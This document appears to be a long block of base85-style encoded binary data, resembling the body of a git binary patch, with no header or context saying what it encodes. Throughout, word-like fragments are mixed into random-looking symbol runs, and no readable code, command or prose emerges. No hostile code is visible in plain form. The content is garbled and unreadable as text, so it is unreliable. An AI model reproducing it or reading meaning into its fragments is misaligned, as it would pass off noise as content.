zt{hrE0I&v(ri^zE7Eks5(lz%evS@9DJs^ApT9z|fKH?GR@VsNSb+#o;Y(Q6IRz8__ zOzx-RKJxV7`v+xTD9=})feS0!ec8W@{40%J-rlBspg`D9j0SWqn+TqLpv4DlzK_mp z7oZQjaF~UGk!i|4&bjpyx#G0L8{8eoSL`gWczE!`gL=H)&ck}|ESkx5R2lDONC01a zV`vqivW_o7p8%21WBfmbX6;gZ=IN5JF&zFXeHcztuprfkzTl=q4#sCA2fp*a3)=;m zzkkpl(J4OSwB^(!f6LpCs>>6O`@yxpTBIJ#c%ieYN4T^bd`zDruk@U@Q?Hd&2>>dRj;hdY+W{Q^}DjUMA%A$ zR*|xkL%>Qu_XBo9$M={fr_Xz`Rcu$bEg=wqcIk99VHd5W$vL!>rF=R<;&qoa#}$ zA~YIks$=iN!{`*$<+2Qp%ON&=9qT&Lzf8_XVd`smnd`zHVVqZ)awXrv#=raS`>LBe zckWdGGC0Ulr2K3|7iJ*rsD8vjzaG_gGe%*(z;qZJa(P6%;t6@UL{|K?R zBh-%yFG)7T$?@EC zS#%|zQ)5|fEtr1cQ>iT!BFi`5e0%ZH#~+nr#%<7J_v5!VC8%scbevY;E%+WRUt;Fyt18Y9=Sn+RT3^ouo>OrRi@mL8 z7yQRzn+9K$bMo`gKd<^%5BKifEeF@|cBXitD}Ig;(+#K4ci}sVx_I_ZF1@>mtTJA;+ZUvV-!bJ9{;lKF*=Nn`-3qdnmAjxApiWcFH)!9 zUAz>U&&P>nVb3we` zd1dIM>tR)9L*-IiX&v?ZS;4X`PE%+v6I6TAr)tB!vzLu-ec%xrhnLiU5|%na^KAY} zfzyP8au$O9MfguX`K)BQckf>H#d{~eIxt?8%>rKJ`3t<=Xe?EuraE%1A0 z=w`weoiuz!>$zn6pM3IZIj5g_Mw@!^;%?gO(5q^NXo`vs!mze-mozeT-T*u6r#HAn zA2XmZ_<|=4Z3k4%0o`er-+udT>G8Seo-g|}CW0?{*;Vo0vXhPd7%RU1`s=jm&&r;) z|FP=>S&Me?9Z4|P-+uee#TQ?El`c0oIpS!%XME%AU2e7-mqwI&-*)ifS$qE~?M$Zj zUN-_Tw}#6!IC|N`u7&=NkxTd)c7J8g#ynNjC7k>`4xUhs%W4sirzkIjK83uVFxATz zXzS!M{MW;FT`29RO!-OKzAmAu>7i3X9%+_g9JH%zBma#7yM{KRBgb+22Jv{Y!@3{r zXN<7*wKk~7qq0F?gYT7zE>&~F4Z*J(yNbKD|Nm7vxIzBUu7Mi|-rh7Ff?ka4Db_~AzvUw!@6>ackJ?(?-1#-jN1&%e0%&p-WF z(S7;lmoHv>?bUKJ_yTny8-&Bane*u3IExQp^t$FPz_S=6569hq{GUHvyzM7`|p2PjuP}*ci`>(`k@@OoF(*ZfyX)f zMVzxAei%B5(_^*8Aha0$Aq(ld(Uk=x`Y*&WQ?#QKG)pxR@NyMxIh=6s{^f7QCnxY5 zZ@v+S^xeXDEDzrIVd}QdLCI0UcHWPE)baiMuU~K)`LcDH!HLrG+s-5oEKZO={l|Y@ zy!^^bakRzpd$-?(h~}es+4Hr<_tV5^hH_90GY&k`?_dA=w~J4+xc}FG{g;bdu`>=X z_V@0)e=Uc{AKrTF;<@MVTs(7o*+sjP0|m0RE{Z^CjDB~t;;_R`iGplDyLw|e(~j3;pL-?_uhLyZTE$8 zc+3A%dfNLZpMHAr@BjX9Wp@Pm(c|N7VJOUQoz{{3?3QdI4ZITWq<;DF)iq?=Vg3$vx;IEn1u z}J=TWMrp{$_uu}s6OeATy*vH#qWOiM%mr$_8Ye4 z&w-h?g9XdFd%mxgadY9%|Mll`s@=($^Ugbetp4}_$0}7J?1qylJDD9(KW024C;s9hr^Ksnd4;J)3&&10ML$Wt)GEZMp&W=9_PpO}Gg*^Dqw7 z@3UK!-8kT;uOE@k` z&O;jDkD;pQ`g2(35PwzcuJ{0yKx@At?4UR*Gs#z;56d8Nn8JRBu$+lQx{td~*`@GW zq?6_3IEL@*>%p#wI&y;UFkw&W@pw9-b8@-S+0)oFB^{Js{Z@xLFPC%L&@Cw^2?Lq) zg7qB8pl^@?-IWy`ph+I!xn9n|maG+GjU2&_a*vW9_ww=3j2xFSwdX&u{lBtwQff&^ zPrtO;!M_x7IfW+c=z2{~I(yz1*$7XeHRZ`8=TPm_Ft9K+HaO=eCwiTdm}o{$+cn)R zOdX+`QhO1OKyEH?G;nPV+&Cz&t*RTqC)L1ARQH`)FA$y-<1bL|eE<3jApY%9)POvr z*fq(Y75^yl%0UKf0Mx0vtQ}5SR9J9ZT=at4!sq*1=veG;!H z(5Xkij&{D-F*J*Jj?FjTxPNgwi=269A#rOWk)PU8m_-=pfn6VV?patBjE@b)v+B`m z3m<$~4E^}y%jIBs_|uW_RjPkV509LASpZL=Gq{o`TV2t`r=NaS3&fF|9_@zw;`1*r zK6&or@cvYsgmyD>ENo%g5Lqoa$zl=zY#b0ANKa*v$T>;xRX@3YG0vq|I4A@EMI2-w ze(+J%5l4!}CH;N(tsQC{$#)CRLh{9z=&X50SN-9gqmv#>NtvimGyQ!~dvOu+nouDKKDqG>y5y!`CufJ9c@_IMo0OwqM`3+5uZ#xS= z&O)2xiVU?|h|pVw?Mk0UN9SA4N}-6=gfYTFIXl(Z?HAc$_i-G2Y}W3h+mVUgaWb*# zXR|ZwwK#%b8Rt=PPD@$4bG-b}kEfSoBRXiRay!Pspq@EBKhAD1?FiocZ@gZ+YPGWp zjdG1PpZ$1xIS3^rET`64IS4+zcs~w74h(h*UpW>4E;!j7hk`oR_CJbKkKA8>eXs2K z``Fxm2lMDs{l3b178~p@z84DzKSd^Wq+M{7d=R^}6H7k;kDDR-8ao*|Qh)#Z-*uJZ zEi8f=TPqzd^*uZs5Zhg_?`l_}Nw?LOmV9{FA3L$uN{Uk zn1A~EAU6vheBU>6INR7d8!8?HL$7o+x^Q#j%j_auVRnc|Ry=6SY!H1oS{HyR=kFNQ zOI1!g&p5B}#+gcw<1`}+IoWi}@>85+&&8JP;B6U{Q^o;Ca_!o^_d@mUrNfA-ZuA3g za=1ZLdM+G?cE8uk-`;z#ZvN;qde`9X)eg`<(IR}|2TgtF-REQ1Da%2~b~y?0x$%w~ z`p1}>r!D>XIyva?_=ib7yNO`;bhXjoZn(BjPEzfX9`v0LALfQpZboT`u8o)MMx1TY znepP&IR5qH^s41XbZ%?L3?Q>2zhbG;C)h3z^K>CDxofy}_KJ2r;)A=d|~%f(uB z0bO@&!W9@?+vQ^Cq8&~aLc%z-EO;!^?d*E-#h0>!?&vzbMpuMAj=p-(>kv>XigUw^&Q`<;W?QI#Ezy_o&B z7FzhD7?-O7XC77k<`2ZI1@;7u!a<={Gm@ z)^%Qw!dHE7lqWWv&-Hfhx~xaAEAbHW;3^mF&;q<(84#PYo7aNB?W~&auTj)Az2MA}Hg*@jACxUi34uvYwDp?ELvB)vm z&YbMFOuSz-+wI71Dt5xLqRs@5P=EQ=mt|k$)TDn73df5t-Ya|LK;zWoP~eE=;KUQV zq(^1c37ePBvFl^~s6zW_Av*_DLe*2VNVcWBui~ z-*EWnQTjNW-FToYG||>)vT<$OL9gG(p*fGj?%UJwr9V(_%5sk5b?6@GXGA{GMJJ{< z3UnJo7NF(S_>K`AUJqKk1gCD*hrge4#;-o5omLG~_OVc&$BWqjCn3i)XDi)J;K-_e zDSZNXHs^Y;m#Hg`w*UOkKb1bDZ7nKN7VE=*@67%D^UsQJ^`IU9?QieZ^=PJfNSR9T z!|DH2?Y6WdRQuxGMpv8E2jQz}Eu}Y-gZ!Pfp>7wafRFS6(gWu3hzRD(OSuM8_Dx@heSRqq5rd9Q$mWx>Zjg z+`s>NwP$_X=)LMW3_Ii1YZ0D)rf;6%ZTQyK=#`$Nx#98JYk7S`f^lf-vh~(ue(R_0 z2i(vU|K-B2Vh)f>uNuku7)Cmo4+bd5`BL^C;meSVY8Obj}a*14`4)m8& z#=$dT7&w)7Ci7853B9XxO-6JG9#_z5HOE-<|8sB7?~DIjzAkJ3&(gppK>455p8s;v z><2RU`)AC~^9;%VasvE9hWf?ki-DI;OE)j%k@=AHp$6(@q-e_5Yil8M;`O{Ev(+_q z&O3X{bXd<8zq^wqq?Su1oGGj$dAoP7C*mgO6HE+EVgNckYG%T6AXj*yQ+Z9kOjLn)Xrlk^ci%2cynA^j z8sgnka7S5ph)KffLL<3fdDN)R}EyMlUmMK0QELely5`^26qUjl`ko2 z*6T?)v|(~2E#5S>)VDfGl$9vaf;!0$r~&o?s=i4ZTS5)2uuK|1y;Qi%&=Vc~Oh=hn zo9qhJo&%IES=Y-{xJ0mr(Ve8T6M|$+Jr#%$-T}7Nw&9QWAb!hsP5c*op=)XERQp&? zI$oprQx`k2bo(Rrk-Vjlsz`;c81i;Noc^WK9p0{8 zYtLz(ylh$dE{DhAtg6`kX*u=zk3asjKu`nhur{t@S84H zzcK8DD;j=i!OMd?_S(A{IeAn5kbOJjl@>2NU>uJ%9%}TZEr3ME#|GFMF!GEaK#=jk z*auv~U-6CU;=b)>&&Og)yC`{PTEEv&qL<=DZdc->+o7OL*r~CF%{qjp$Ne9Q_p&Yh zA?$~!0iD_?MO}^V;dWh?s*^Rho0;wX)I_O>|~#7y9c-fH{Vh`Zs*%*s2@-)3uRGusj9bi3M)|c1?8{s|ad3YT8$;^&yWx_T-{LqhMKNMhk zTiH{v+*a>;jhnij?w&j!cRb9?ArC8$;T70 z`cKSqsF`1{EA&e9hlCdipPv4CM{&XEb4Nr#D&J=`2>VS)q< zd-KgVue=ivIeCCaKY!87^GsY!N-fcRDPV~G^T_9G2+vAj!9U`eG{6~s>;pdJH?fh| zWTwFe9w3$k_wq5tOpa!vWa;mCoyk9Rhk8vm!;4AT^?YW6zPl+fs+NOB*3SY+$Wy0{ z9`Q(3q8>iV(%*QP;ZgXnh_U(v26=*ho& zbC0{<+ z2oH6ssMax?U_aUm_~W_qC(o&X6uR{NT|AB+6j0Pl(}8}x?bu!&@Dsj&`tGN)Ki*ZA zNWKtIp<&* z*6X011vDJ21o-1o_(eS8{`ki~7T|h4wo-t0m?_;PZ|OWXtG#)F@<@9tHb>SXxe(S5 zl)<-PoaRCKd_W%dZrm^y%<^#UHQ@OyjrB}VyaIWDeie}ByZn$s=GWr&_{Qt;yu8;- zmDLACBELgU^gni~UI3`J#Ezx-F*ey@$hwFA6Xtph(A-}L(rs|?k z2Rz2L>AY8E=yqJQt~Xt`$EGRY`FYo3^&Vbim*8JMSy z@5Me|kDc(6ZE*5Njf0~Hbu|ySOKt!+-SCXoC#+a_hb? zMa0(yPX6gne<(n+>EOvhOzaYPYhOxn-Ok2@2{mpe-WC7)1^rk}VZ70|0rQUnwDu2% z_NoR{wudx2Jn-3wzNH#u777w#~+kE&Qj0mvqfS_TWy4a~Rve?!(US^js{K)qOYgZ00&EW>+?(?EtV<1>hNdc9`q z#b=TV9GHn?r*tl9CNgXJosR0uOuaz6EFI1g+j__C2(9n1_2n1(YvjT0u>SvP@#pDu5S^C?x zhq{3RKu(h`%W*APeIXM;gc|ayYA~7zo+T#PeK?KsK6FK9ZOMz|xx2jm`o5MnXHr&Q zO)xiVK{n5|7iHuHL`pVk`!3I4X7bNF&qVR3=!Slj#eM;m;nx8KCVnP;_DTc>J;?H2 z?p{0(>BMyazHAnlHs1F1{4riymLFH1svQUFNc(3wpQZHxOl@gdEg&^h$^2^%S^8=3 z$t;n*k>$eKw~aR>nX5gL?q9gS@-q+1o2mcBw8xwGuiUzOt2_+v;02~r*W04!wxcwiga8DL98z?t%{Od8u!ro0+cH#;{jun~aD+X0;clm!~6 zJ@9;sE&~8F0G@KZC%?#t-d}v-ZpyqB+r3q^)Q|T%h$?xXOZ;;Ig2?&u3jy9E=atCm zi?RbffaCfE+CXtX81N2!_^5wCz!$GhZKRI&c6(Id1{40SR zc0F{uA4K|{LZ?sY!#uZut@fAH4}qol0R~28XM?s`h>^jMBL%kRfDSsi8Sonq>R*d5 z`RP@iAAa~@bopiSwf@z~)3Mq;d9}@a)TLaH*(Sif2Os9dh z55uICd}{7jmYRpecdwS%AtINoU7%B!l)8x7a(9Zq${BY7^4b1Caoaf22U6tq6%$CTb@97u%o2&Y#t=-S3?ZFRA zFV@&#Txo#w#pshqV@{-xJ<&h8l$#$u+Pm@l|raGtkuNc+;A@ zy`J;5HNauEU;Q*~_^Sy$mOzW}Thw=`tH(0(i!(Iuzgbfp@%2mE{37jcY1`dFmHTeI zzhC?NLGHxrDO>P#P)w?b49*pQn79=@@9y0E`&yU6I_flx`wPOt%>_BmPwKMj_vw1h zqgN~?-^T6XU6_w_(pNws z6HT5{CP>=gv)lve_QB-Ggh(0mc&Pyn<_nB#^Z2kPT$ZYuV7_)G9xwzYMyaLcF<~}w zwzSqha!!0T5$;eK*XorAo|)tU9{LlnsCd~});YRSU`m?&-2`3)?5nUObnOk0pa+O4 zJ*6F-ifUr#Gqy zcMrbH$5-nBAPaM3{5f8W21Bk&VoB133OZ%Noh}k9Y=ZZ+1C$ z3Xpy7`RA^@_0F3mKU*gA4-W%me;b<$c=E#n+|gkhK?%J55uMIMdABVZ;soR{s_1o z;5l~xQb345{o$P)tkNfWlOOQLKE98K-W&H{N}js~WCJ>GT#f!0fRZh>8F-< z1JQvUyf}IM@*2apJZt+cny)6vAE39s_+jh;u)!M?DD#Jx->D_-Jr*Tn@^yRmGE{A0 zX?uHk-KuR9fFR^o*W`8W4-!D)fb>3*O}haYSpx8dXP6%g9CSl3cb{w9S2xfeFs^+% zG?0c@VAAvjb>LaQFlOOTUuEO(zS~}G(hHnV`v}?uFFlshj2=3piX10Gk|Ww;#M0&0 zd-o-qMp&w}U1kw$=v>QV9_ULMeZl^HP|XR-W}3zx-IG zLTPlZe=8$RK6YS?bj6Q+KEvmG|9J1p#~EvCTwlH;`60$QgpNM9%HArB;CnrIkT8)a zGwlm3_xmy@k{=uOB=tNl&%(n2D;0bm1qZ-})W0L+kNc$KG+NDSdc7&UVaMx57R)_Xnhhn}f*1N}lNHMEPUp7CO(W z#*Hm?quSDL@yB-!*zW7^`!2tg-tL-0kGaRxE_@EjGb^tZIH9Hs={!y1%J#mJLzy>n zE&2BR``j5{y$9BDcByvWPp&wd&+o(4Wi9{78n^@~|C3wyUr;uK+wlPRFUaOEV#&mX zw}**L9n6vmWqmPU-X|u`Ku2HxO(U<>etd3xdC&i(_fpb;F`_fc+nGpCR6H86%|affEFfeJTEM*1&RVo>)(YS@5)+g9}s{?lD+lt z^j#*5bZMe}{dNG;=W`eZ;4d=Q$AmEVY#GpKsj|HVKMzn5F6|g0f-t?qA1^~a7)337(`p%6kslAia z+`~^Te@z_PKj)K<6ipB6{#bw; z&&cvljV;+u0FO7rGroP;F}o|Tzu1E1q5#l0-^kViIS^?8AvQRD8SrDAc<;RruKe|{ ze=GZvrjP0??D;r!S-?@B*lsDeafbIL*i9?Iruyzx}OjUH=E1`PjqMSfi}5zz;ZV4?x~PoO*qDN%x+) zbZBqI4o7^Y-eMoMFhS3FXKU<(&cv6uY{0JLu&0I}ZJ_&~@X#-=FIQs5`bK1uH`v_Tj|J(u`WB+?kb>-*?ZT0GF=+LKktd$D-ihBK+ z2pHZAfzX;9*9_OmgE^iG#L z%+oY{^ocBbI z!>G~AKDOhYSogzT6`P0d8$E9AX?OgYT2rh{y0Rt}nKPNrL@b0)W%?DPFE#LMHE{OZ{;#EYS^odL2KGbosXB7X*XDz=>7G#-p zR}%uD!L@)f>zBYMd6P|^sdTCP7hggr?9@cVWWtAsgh{i>hfht&Bd>`dZxxej6K5V` zlAb96`#WD<1GaY6$y-Z_YdzDXaIzvugUA)#E6#?4>4X@CZ^g$`z<8v zTJ0D8o4j>GUylEx$#dk+9Ve*X>yvZUnf6&5cPXT80UNwNZU-bX=`$&R{f*aZGHFst zXYv7vYC^~cVoSo%G=T?j?tv}*PM@j?V~W%g?C2O+Xu?b90~~1=9!)0cXuXhSinpGR zC(H}aUAY;cs%$ZG01``s`ND*L$pHA`Ihv)#iCpEB@24PwWORx(e#@gRb;t&sEE>`E zEFXWA{6D{xlUt*H;K9g1-kKBu8tGCSAUj8do94Vz2dZc1C)mZ=wF{G51}NH>xMBT;K9wC50?J)ZI+vVc;&VG_lm=t0dB6} zifnhj2@ufx_W>zy-;8Z!-_M)siXB;64ut+W01lAgPVDMtfXxOcquigfJT_p0vFc9B zy`JToKc#N~5qP$JnKpK^H=q=#Z?9PP1%$Bt8ekVQDIIBxYLHyS`7;1(9c~m}^e6of zFXR;TA%X4Nzwv`CwRQ*+phX`6rn>@4I;7lE)^pidye5H@?+4uE!3A{WVf#kf8tQssrF;T=+ELkv0N^`GLq@qWXx>Pe1aC%|S%*)cztoT9OLnatd)DjM8?BX0x^c zVX;U160*yZQsN@7i}A~{ax&aWJJJc=|NL_Rx7_QeK77xk4+Z{D=*xWWClr{N>~n&d4!S8Nz!_g6zhduUG|xEKf0hJysht` zg^$i$#g6_oEj$53jX(I@dpuf>PFA*~Z_+p2(gU58XK(5>9_RH=cg%qI&W#_Ow!ZTQ}5+an0L=1vB%Lr%jW}!ZC%&0_hHhUkqPJ)+8QDQ;H-ERg zrf}Zhsc)llUd~@1f5g+%R4MO8O8E86ouIJk=6Fn+=M#l4qb@b@%rtQLZT*>%y(IL1 zT>~?;jUM&`+V(P=RJrFfasOV|k(Zn`0m{UKoIdSz*I%Mq_Q~y?bM`GIYRcAi_oWE% zQp;USJ!i{`?k}y!U)dIYZdET4hnGD+&Ff+Mc~2(700h7Vu%*M*0%=TOp3CxGlT*Ni z38@LRNtcO?px%|S6Z7Vcd$k0*<=>kyyUUb%8V?b1+6YOTd!FL?DjN-dC|rZ|rVeuRDz+CZ`@8qT%UAB^)ZSas_tk4& z{h=Q__JawfcD-=0(8~A~NeYYr@M(kE4k6$HUhu{i*b|VYN~cJ(+-Z0RP_r+#4b-tO zWC0G&VV;2zW{Uk(n1LTcqFX@m58b9(X<~ zr@aA|4IXBkNxQ#Pea;?;sXeBGR*x0EcP?*pG}ZsNzx_Sq=I2T0wVD%}d3gswGQLW; zpDMfe+@N-~T+u7O()N9DNxa=+f9k7{_PQ`EydCCQ${ZC%s$@y#vt*mlQIX0IaMK37 z_yAvZU{vhKxNJ-s;EZlsf87q`*0=Qqb~i!WO9RG?RinKAmOlsB#z zFX+6&0dG^zRb2o|wWMq3i9{YZ%VzczlOVfDz{`>C-H2k#s4&B>!LLVh3 zJ>%66aKJ=5H@4_2=l~0+Z*_l+S9jW4djWB$&DbNb9>8gf5&ae*2^jWcTiHb92CQz& z$>U8LTW9lA2eI9=BiEsCENRVXFZu8Z6$Da3PrtG=bQ<;aSQ)vsK zGf7LCDZ19TL{$F1-}>L0>B(=9I8itIIZIc@Sp8~T{jB`@&1})>lQD3n;wLNi)VYr8 zS&X3skyUhOd z8koWBbjjrfcRKOkEVf^qEm5;xKu1RH9=LnZ@05KmF`dJEw_m=CUg|~GCFZX$rSfbq z=}FnH$JDo!^Y66Naa&zf2TGm4_dzpJF=6}u`{!y>WAf3Vm#dnP0f~TqfCXhuRLDMc zAJ@MSIC)XlMDDXsKd*_EiIe4{mI&gdHQKNB(tPSGz$kV1S(`J_II{(oEFkG0_|ElbUD;z%hZvk0p&A zQp>^+uS6h(i7s!c6sEn(rp>ePKV@?;N+y&JX))1jV9ioVOQ@3$uuC2je#^CafnC22 zMEc>%_3ty`dl0}YnAOie{B-5HcvCusdw6~LAmuXAM#tpSl5zkaz%h}<2Y!A^Srb~| zrHQJ8Mx0VzIl?aQNkZ9^@@5XD;pk+aN4(Juuu&Z(lbZiST$^iO1{r*@Ln8S?p50Q1xemt}Sv2k7TU>ouPB(Z`bFM z3JU0r41mq4Uk>-`ruPX4_9auwx9xany7+i5HhL%eb~p~ty)VA}=E}?WbFfD|M}Nj+ z*#S?&*j(AjgPeWysDM6w;gNI0Gi}REAThokO$QwsM{R!_vA9Pp3b9ENY>O@GcB! zYy8!R>08a(ciI)-?u{>it8a2p6?^nP(e9OqX7YKKMn5mS(1$RQUFd#Pw+DaF7Vv@x z?dr!a_N|Ue-u`sv{G~%5`X`w3+CbfC4&AlDa-)niZJ|v8q3i|dMn<;T<=e}$0KU}W zurqa48&>NSQ^(}j=dJzJ*Zou3eP8+Ry9NaNz0)!Pv+v&RAMZvM<=F0{tk9T14(~AI z?X6qyS2UY+8aF*iS5DucN3`Uxl?{s_(Ai7bHbeb9q?Pf#z!;;g=|ddgRNJs~x<+4J z>|`u;^quS{0={QtJCXbZQJdsXkoi|+897dqXgRjDr{RiXw)}_noK)IY&06kp`L-e} z{S!sjv@QE@a<@tQtjLcJ7onzt6EZ$gjZ66`)Pzsmg13uw?e+IuR@e`0S|nEH@>&`PkT+xq`CEEGOkzy zBkn35wUqBAv+W@^`73uSm>1reujRFu$)w7C7^Z%_&AlA+E17!E3-bGzWL>@5UOguB zmO+00xs$hh!eY`Qk7d<$vTSI|<0BNnLcWDwDe0U_TbGXtys)`HFA;$!-8=8TU7i*u zLPaa_xSuj)>3by-JS3EiNgGMG{K>L_F~gf{@t2Ex>M`Ns#l!RPn*eGE^V0hR066^U0#b+K$-#H=t$LJH7+q#yoax64Tprzo|1$=04 zOhA=o_CUqzzbaY6fjwa+0o`iD*b`u(yq?llmcavFc;elNJr&@Ww$-k+j1zy6xeiDQ zu=vgQ*}Sm>b!{?5K6`b^%Q^;ne+o-Ca*~}fEPUQECsbx*m%GL5s#zSrlQ^3qwUj_ zx17|tO}Fy$gv6iv(Xq_mKCum$L{mxZtt@gfdD<6XGj*zm8q21`Puq3_aIK>j+`VlO z9OOj~eIJ-}?HVu4v`G3Yod`VH9HOPq0buEap2?ssW}F6e@|M%y;^adEP>y$W#VdCz zoD;od)o!QDZL~Ul&9&Tgi+5@F^h5puowcWSH;#LEyby0!;GOF`@4Q{|7_S;2ZV%Yu zMgQ>8{%G><-Ggkc^Nqv4!&pH7*r&08o_v5~bhL%ew>>xCz%m}&1%&4cNbj&p9!+`w zkK{vP(jS$bzLkE32S1R}y*35jv%#^+8q2C-rtHviEp0B>j_)>nSa#1QjgNH8zUUVy zNZ$e*`}yY{AElGu3Itmt$Wxxk`7x+K+Yn|u;+50?d7f$~I_E9!9X>yx88_)g`puh8 z2#+L5*B(|=+_^&s?Lq20fxbF6s%^(M*b14{-8R#JcGK!K`S(G7LD>!>MpqMec%2** zyHRW+`@d)D?@O(fPUOM${CW79+4I;2e4Q#l>q zImofqtu(9FB6|u$wXdh>P23@^t=wTfYwj(>WA4@-+sy59@8vk8yJbBq%f{!DYbmOp zEeySm+1gxx*>e5*yT=j3Q}Qeq^$q`1(l_V2&mUf)71o>Oc~4-X9(SDz)_j}nQ_UpF zx{u=|P=}5te%04xI74@+{A*kv&mKW`xkj#kBKzlkcQ|Hg$Mtd2<@2Qmo>&8y0Ob>_ z>N4Y#YG6M&ot_{(DW!j}d|v20%1owwAvd|N0lnVzJ(2Rlp_2wwd_~*dI#oVj#N|O_ z|1yxzGmt}=FYHBnN23z=e>U>_*faNN&u0?xpdR6(c2sUAzw(-B@#X=d6wje!LSv%y zT}~3db^E1S_GoeqcM;^U2GU=F>-0I0*AE=K0>Q6-A=7LU>BZ#l%c!Zz<$liO`I~@SfR(awi@C!O zFUhjYD3NC#AWz#5zdV6%d=t;i(8aTTBD;NwiZ=1$g&WWo4|pwoCLRqFXZvIFth|;} zU}}%c$oFHG4qEQ&8J|MenSB?tAK}+o;x3(#mf4y-JEa+~mQS)9pr3!ORZGqzY3d|% ze5(TTeOq3!yg12Sye2mr!(-{E>_q)Z&HwiHv3#{XIDvWq5EJ`qzt9I>myDrdtU!0d z*n+nFAt0ds5AAy_|ggC^`mE0<8eG-={x*{cSw5 zezx2jc<=C*EIp21pQ~lcVLfs@O8Wq+zfIltW2C#cv*#qBfn2c+6GVq+?7Ya^@9e$g}fhqlszK@@R6HL zz!(4v&q;?tIa~z|b)OEYJM}9IWTDpxUHycD^uOK?As*q;VJ{~QfVJ=p$khJ;NxP-g@v7dc+$UQIZ<#QJ>o7Tx5q9=H)O}7Q|Iw-yaJx} z`1M?#?K|2hJ(IQd+2cL$>0=f~->U3o+7HVcZ@|BKhpDUUvv*|gEvg^0k%teL?IEtv z-Kk&%?0^O@S?wjx4+Lz{IOW40>M*AhszQMY=o_<4pUp=tr58HzPO7mw8O8fkSA`!N z#5%>#((x7c8aeW@1y%E>&FLu2Dr#G z8&EIJ`;StLd)!^PLb1sTi%QBI{&Fs+VIy0M8el{IYsZREWbpKQRCcxwM@=NG% z{A|5&i|f0MhvSrI`}|Am`33FvORIVo0;~H(IK$GJh!cgLQPfz@1v7(ZRMYQ8=1FW~ zQE;_K&jE}HXUB!#if48GR40Vovl<;^`W@KuXvZ_aH^wCA(W zB<`@i_NmPifMo)nP5yW`^|HlIG4c8&9#keFe|q#^0TL{0+sfsk>jzSzhxe8Lq2AZz zC}6As1OQx?m}as93^C#P^82r9vRlRT$5l=0`{IjbA{@{RAczJJuQjj6N@jUYuuSlr zXbs>>tyM2B=tLf}li6g|Dc(FK-+c2;1Tv`#i1QCXMDs%jfGK%R$SlVMuCzDc_XRlc zUU})>O9d*J$f;*0Y3k#JYGUhZugyx&M9yIzz|98%=E`ou*Gu>9zxR43fbqbJH;cT$ zG9V8yE}`MeID?|a{3>#Jo|@-0Yeo|xSqaaGW+S5pI!On^UvZj7|*Bx0G9d!PXG3| ze-t>v#(2lw%W^}2X&Zo12sqjGU%i?oh7Ut8AR#ctl6m<|p1%$sCiip%oNDj4_D)m3 zj3(wL;s7@7Y{IP#C%B)_#JK{>^dI0`doj^*mRP54fBZh)xmN@1Uu)phSn*9jf6K9* z(*1Mf1^!$E2By9GM}jNW7xAEd=~lh3MD}ZM=M?xX|9PkHhL-$n`0w!m2N3bH#Lk(d12C zzGzQgvq<}*GI5tmqfY(>?h-IJTaWZ%H5oCmrD*fiR z?WyY;{_qPFd+V*Y3amCxvRy%2`BBQDMgT>0=u*6U*EUf6w#DpKv`AI_$gkb;ZA`L% zqp`ool)RJjUQrhBTNnzV9Y(bq-T>e7d3No-CU5hwmG3(;_NQt{d&>uW(q4W02aNg-_2@=8k778mN;YG@W;04R{IF@d0(oZUIeyp{OvOO-mxAk+wPC_ zF1w4Y+vC_(^T!D&oQWH{XA+L9IaB+^^_-@c(Hj?MXm>=XotJv5Q0r7VVM-o9AEx%x z_P6AiqFZ#`oz<6G&dI!#JtgB~%bcp{vAR-W^RjZZ+^o;TQzBX`IGMXHKiXpCtRAZ8EIO+K2lbsOTlrIDnb({v z$C9teEo9arBfE&9hmBKVEp&pH^+%#H`N<1+sV0~{GmTxvpG0_9Kt zFLCROOWsEY{L#zyWu^yyfY<11UI+>wzZgt1ujU2fCGxm0ZpXTQvgdvoJxSh?!DNER z77)P%gB$?B@_@_!QoQHHe_BALeGFRR_D!QVV$Io|l@5 zA)a3e4JX0!K72mBDc@di?G1;vvS^lcs%qKp&HB z;E+Qb{_*#JR6A;a2hH%JnszO_QFs0UqImeALndD*0cSv!hXF^)W$!fYPLF6<)?9WU zK26rk6EeCTAfzVL5o~Wu=#D(VD&?HIF0V1A^71Tw_##6}JN^`aCx>;UKha$xlQ*^r zB+L^0+X0mU63+)T*Z&F#3Ed719H^&#+opnOh5-acc3cJMElkl68=ty zo#46EMgU-ah0X?K=~IdOurXtlZ6L^us`>#ven_zFx!TkCwet3;_#sdIV3cykLCfF2 zikEAImVkk$Pt<4be`jOOWG z-ovqLZKW;7^O4;8h;o2k^h;NfQT!gbZ4SDA<38Y@Cw2Y!l)UBPmrT>flmGmyceMOn zrrss-EElTZ8o%_T(f3Z-$_Rb+&=H=euT+MEKTDy5I1lH=H(zoX6Z*=Iebm!+dDeft zZ){VbU$Z-Xhfc`i$C%PE~-ZUEvpYg_;j?|)<{WKqfy|{ zPM$%1NK6G6lIu*zS!XQnqQ|Kh5PXWP7f^Y8(s}iq(DO#@Y$4puS-_0Qq# zvey4>4O{}0|Jm*PFC$$~9vWovC36NkUzoS=MbF}k$v;PAFG-Vn`}+y?MLH9z^5UtO z{u*P_4@5ClETAIgT$L{xi+4>;1eDLmy)Zf)8a-j?Nk{2)6uJI_SjAeuO=5{SdntZ* z?b11VLUK0uK1QB?HUZ`N_0dP4)WpLCyADSQfbr`6R|6u%6D<>E-Ws1}^6~1cuM`ME z?xxZ84KMpzPTkvEjkh6?$>jZ`(6wCBay4MzUUy?;vz*eTl0JcFKn7vcbL+ZJ$qukL zhp`;<<+<7{?WryRrF|Psn$YG=cK7ZF1vCJi$QV&;@&~9hQ8poT$d9(f8=BHy4#-#& z=hDsA{v#7zvjaexeFo7W3or^m379l-H$gNJ1g4C9fB+tq;y=lrlplZead|lccL9(* zDQ^KLuvY8PZ2BC~0q9KUasVcI{;9*Hn}@84J-WTbG^eG`3rj-m&Q$fIky=wv^~4Brh2se0$~3fBAcXt+y@FzJB|PqdUlCuRb>W(n~ML z%l3ZhV8#wSU(Fa3WH`Ev&1RW5VC>N~-nzYHwJKWpDJ3Lg%F_|sd+xb=k@@xL?zIBb z*$7+K|3CcbqdE`=kf^9Rqs83%-DJ04uE=MjE#9$xXQE}*~hOga1-|Mio#F{{{CxjP>^ z>}?<{^>vU^gQ>tGIq*U@{PA$3!&x%VBNaH*p=meITeZsiA>x1j=YOw!`}dq^zC2f3 zEG17}P+MOes|vb~1Gs?m}E7y-w&hiJ6xH!~osYD+@9U^<&xab1 z!$s+PzW4PvAIA3^Ib_RHYyCjq_1>HV+<=?)qet2fPsWxSyCT@$ZcE3DXxhk+Ony9Y z?^9sy5!=dWC&2#S^JCGxm+6eIXRp;72NLt=KmWDB)J~_Ht5^Q(zy4Tbtat0JTME*l 